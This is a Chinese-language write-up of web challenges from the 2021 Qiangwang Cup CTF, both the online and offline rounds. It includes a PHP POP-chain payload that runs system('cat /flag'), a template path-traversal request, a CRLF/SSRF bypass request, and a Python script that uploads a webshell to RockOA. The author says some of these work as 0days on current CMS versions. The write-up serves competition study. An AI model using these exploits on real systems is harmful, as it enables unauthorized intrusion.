2021强网杯部分web writeup | 字数总计: 2.2k | 阅读时长: 10分钟 | 阅读量: |
大概也许是最后一场线下赛了,最后还行一等奖,不知道以后回来要不要隔离,不要的话或许还可以混23333:)
线上赛 难得不会搞,只能做做签到维持生活这样子
Hard_Penetration Cookie有个Remember-me,考虑shiro反序列化,直接用网上的exp 就能getshell,然而flag权限是www,和shiro的不一样,扫一扫发现在8005有baocms ,审审发现一个模板注入,在tmp目录写个模板后
1 GET /Wap/common/show?templateFile=…/…/…/…/…/…/…/…/…/…/tmp/flagx
即可。 这破题主要一开始没找到正常的源码,然后还用了挺多时间搭环境,最后还是调不通直接盲打竟然跑通了……
pop_master 由于玩不来AST,直接用正则搞DFS,正解可以参考出题人记录 和官方exp 需要注意的是有干扰链,不过特征比较明显直接用这两个判断就能排除了
1 2 3 4 if '$' + vname + '=\'' in j : continue if '$' + vname + '= $' in j : continue
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import res = '' with open ('class.php' , 'r' ) as f: s = f.read() c = s.split('\n\n\n' ) re1 = re.compile (r'public function.*?\{.*?\n\n \}' , re.S) re2 = re.compile (r'\$this->[a-zA-Z0-9]+->([a-zA-Z0-9]+)' ) G = {} P = {} for i in c: cname = re.match ('class ([a-zA-Z0-9]+)' , i).group(1 ) val = re.search('public \$([a-zA-Z0-9]+);' , i).group(1 ) P[cname] = val G[cname] = {} f = re1.findall(i) for j in f: rs = re.match ( 'public function ([a-zA-Z0-9]+)\(\$([a-zA-Z0-9]+)\)' , j) fname = rs.group(1 ) vname = rs.group(2 ) if '$' + vname + '=\'' in j: continue if '$' + vname + '= $' in j: continue call = re2.findall(j) G[cname][fname] = call def findf (f ): for i in G: for j in G[i]: if j == f: return i stack = [('t7zQXe' , 'QDq48W' ), ('ag1qCw' , 'ZFfKLI' ), ('gcSf6w' , 'aSsgzn' ), ('kOeID7' , 'SrKBCm' ), ('NCggpU' , 'LBFYWW' ), ('MBIcQo' , 'leB28v' ), ('GczImA' , 'VVwLts' ), ('H5OF06' , 'luSLb6' ), ('lDKiAX' , 'DYLoTt' ), ('ifXZrM' , 'YTNWAx' ), ('KSxGc1' , 'YRnWMe' ), ('avT1LF' , 'S0zN2a' ), ('GmMWMr' , 'YeSyDH' ), ('C00Wq7' , 'zHA0Bc' ), ('sdR4h8' , 'laG8CW' ), ('IKVFlg' , 'ohqWyc' ), ('Ez8xFq' , 'rffTvm' ), ('WWqiPD' , 'GLG9Ba' ), ('EFmyaH' , 'W7Gfgk' ), ('e4aKod' , 'MKgR3S' ), ('KcRcLI' , 'GuNQdW' ), ('aLRFrl' , 'sVqsXx' )] for i in range (len (stack)): print ('$tmp->' + P[stack[i][0 ]] + '=new ' + stack[i + 1 ] [0 ] + '();\n$tmp=$tmp->' + P[stack[i][0 ]] + ';' )
1 2 3 [('t7zQXe', 'QDq48W'), ('ag1qCw', 'ZFfKLI'), ('gcSf6w', 'aSsgzn'), ('kOeID7', 'SrKBCm'), ('NCggpU', 'LBFYWW'), ('MBIcQo', 'leB28v'), ('GczImA', 'VVwLts'), ('H5OF06', 'luSLb6'), ('lDKiAX', 'DYLoTt'), ('ifXZrM', 'YTNWAx'), ('KSxGc1', 'YRnWMe'), ('avT1LF', 'S0zN2a'), ('GmMWMr', 'YeSyDH'), ('C00Wq7', 'zHA0Bc'), ('sdR4h8', 'laG8CW'), ('IKVFlg', 'ohqWyc'), ('Ez8xFq', 'rffTvm'), ('WWqiPD', 'GLG9Ba'), ('EFmyaH', 'W7Gfgk'), ('e4aKod', 'MKgR3S'), ('KcRcLI', 'GuNQdW'), ('aLRFrl', 'sVqsXx')] /?pop=O:6:%22t7zQXe%22:1:{s:7:%22SETuFmG%22;O:6:%22ag1qCw%22:1:{s:7:%22N3c3MRb%22;O:6:%22gcSf6w%22:1:{s:7:%22GgSYfMh%22;O:6:%22kOeID7%22:1:{s:7:%22Xn4ebSH%22;O:6:%22NCggpU%22:1:{s:7:%22gWlT3Rb%22;O:6:%22MBIcQo%22:1:{s:7:%22ExqmWr7%22;O:6:%22GczImA%22:1:{s:7:%22hZ5ChqQ%22;O:6:%22H5OF06%22:1:{s:7:%22z63x963%22;O:6:%22lDKiAX%22:1:{s:7:%22c8BNGbG%22;O:6:%22ifXZrM%22:1:{s:7:%22kxtqGnQ%22;O:6:%22KSxGc1%22:1:{s:7:%22xwZHIgX%22;O:6:%22avT1LF%22:1:{s:7:%22UdcTU2u%22;O:6:%22GmMWMr%22:1:{s:7:%22nXPfUHY%22;O:6:%22C00Wq7%22:1:{s:7:%22KFvFR3w%22;O:6:%22sdR4h8%22:1:{s:7:%22YclPtzg%22;O:6:%22IKVFlg%22:1:{s:7:%22MUWeh9a%22;O:6:%22Ez8xFq%22:1:{s:7:%22PWeSN3v%22;O:6:%22WWqiPD%22:1:{s:7:%22wSgydFI%22;O:6:%22EFmyaH%22:1:{s:7:%22ZvfzZKp%22;O:6:%22e4aKod%22:1:{s:7:%22mwg5Umw%22;O:6:%22KcRcLI%22:1:{s:7:%22x9VYbqm%22;O:6:%22aLRFrl%22:1:{s:7:%22X0Gq3wN%22;N;}}}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//
[强网先锋]赌徒 签到题,www.zip拿源码,反序列化。没接触过的童鞋可以参考[详解](https://www.cnblogs.com/Dark1nt/p/14896991.html)。
1 2 3 4 5 6 7 $hi = new Start ();$hi ->name = new Info ();$hi ->name->file['filename' ] = new Room ();$hi ->name->file['filename' ]->a = new Room ();$s = serialize ($hi );echo $s ;unserialize ($s );
[强网先锋]寻宝 上来几个php的trick,fuzz一下就行
1 ppp[number1]=1e6f&ppp[number2]=1e6&ppp[number3]=61823470&ppp[number4]=00000.00&ppp[number5]={NULL}
然后解压所有docx,grep查KEY2
1 2 3 4 5 6 7 8 9 10 11 import glob,osfl = glob.glob('*/*/*.docx' ) for fn in fl: os.makedirs(f'extract/{fn} ' ) os.system(f'unzip -qq {fn} -d extract/{fn} ' ) print (fn, end='\r' )
线下赛 差半题AK下班,稍微有点可惜……
mDMZ 翻了翻history找到了一个干扰docker…最后还是扫出来10.10.10.31有个YznCMS ,通过 admin/admin
登录,这个脑瘫cms第一次登录必定报错,我还以为密码改了,真的是搞心态…… 本地安装这个一键getshell被禁了,需要挖洞(好烦),找了找发现 application/collection/controller/Node.php
中的 parseFunction
用了 call_user_func_array
,好嘛还是一键getshell…… 最新版看了下代码没改似乎还能用?应该是0day。
m业务办公网 恶心的地方来了,由于连接mDMZ需要通过跳板机,所以到这里需要再跳一次,当时还不知道Stowaway 这个神器折腾了好久……小学弟还上了NPS,但是由于socks代理的问题nmap会全部认为端口open……搞了半天总算扫出来10.20.3.97开了个redis,nmap爆密码123qwe,发现是windows,没搞过啊…参考下面两篇文章弄了很久:https://jkme.github.io/redis-on-windows-dll-hijack.html https://xz.aliyun.com/t/8153#toc-5
然后结束了问别人发现可以抄作业草:https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
m核心内网 装不了nmap了,只能本地加-sV参数强扫,发现192.168.122.233有个域控,大佬用ZeroLogon打出一半flag,然后还是一台windows,arp发现新主机192.168.122.228,貌似是一个mysql,然后陷入代理难题中无法自拔…… 要是早点搜到Stowaway这玩意儿多好,我都想自己写一个了,然后发现竟然有现成的和我的想法完全一致……
rua host文件手测内网找到另外一台机器,但是需要POST SSRF,file_get_contents好像也没有什么已知的方法……搞了半天发现 /etc/nginx/conf.d/default.conf
文件另有玄机,openresty没玩过,自带支持lua不过它给的docker环境挺难配的搞不来,只好人肉编译器,大概是这么个玩意儿
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 local args = ngx.req.get_uri_args()local headers = ngx.req.get_headers()local post_data = ngx.req.get_body_data() local url = args.url local domain = ngx.re.match (url, [[//([\S]+?)/]] ) domain = (domain and 1 == #domain and domain[1 ]) or nil if domain == "sisselcbp.github.io" then local res = httpd:http_request_with_dns(url,{}) ngx.print (res.body) elseif domain == "r3kapig.com" then local res = httpd:http_request_with_dns(url,{ method = "POST" , body = post_data, headers = { ["Content-Type" ] = headers["Content-Type" ] } }) ngx.print (res.body) else ngx.print ("Error! Try it local to read the log!" ) end
需要绕过正则才能出发post,似乎没有多行属性因此可以用%0a绕过url,这样可以弄出一个类似CRLF注入的东西,exp
1 2 3 4 5 6 7 POST /api?url=http://172.18.0.2:80+/+HTTP/1.1%0a//r3kapig.com/ HTTP/1.1 Host: 172.20.5.42:41071 Connection: close Content-Length: 24 Content-Type: application/x-www-form-urlencoded good_you_got_it_XD=/flag
注意80端口和 Content-Type
是必须的,后者可能是POST的原因,前者就不明白了……
OA 又是一个垃圾cms,rockoa ,sql文件爆出用户密码 test/abc123
,登上去之后可以上传文件,但是不合法的文件名会被重命名一个临时后缀,审了审代码发现有个 qcloudCos
的功能,可以把文件名还原为本来的样子…… 一键getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport jsonurl = 'http://localhost:8080' s = requests.session() t = s.post(url + '/index.php?a=check&m=login&d=&ajaxbool=true&rnd=616382' , data={ 'rempass' : 0 , 'jmpass' : "false" , 'device' : 1625911917104 , 'ltype' : 0 , 'adminuser' : 'dGVzdA::' , 'adminpass' : 'YWJjMTIz' , }) print (t.text)t = s.post(url + '/index.php?a=upfile&m=upload&d=public&maxsize=2&ajaxbool=true&rnd=760710' , files={'file' : open ('c.php' , 'rb' )}) print (t.text)r = json.loads(t.text) s.get(url + '/task.php?m=qcloudCos|runt&a=run&fileid={}' .format (r['id' ])) print (url + '/' + r['filepath' ].replace("uptemp" , "php" ))
最新版貌似还能用,应该又是个0day:)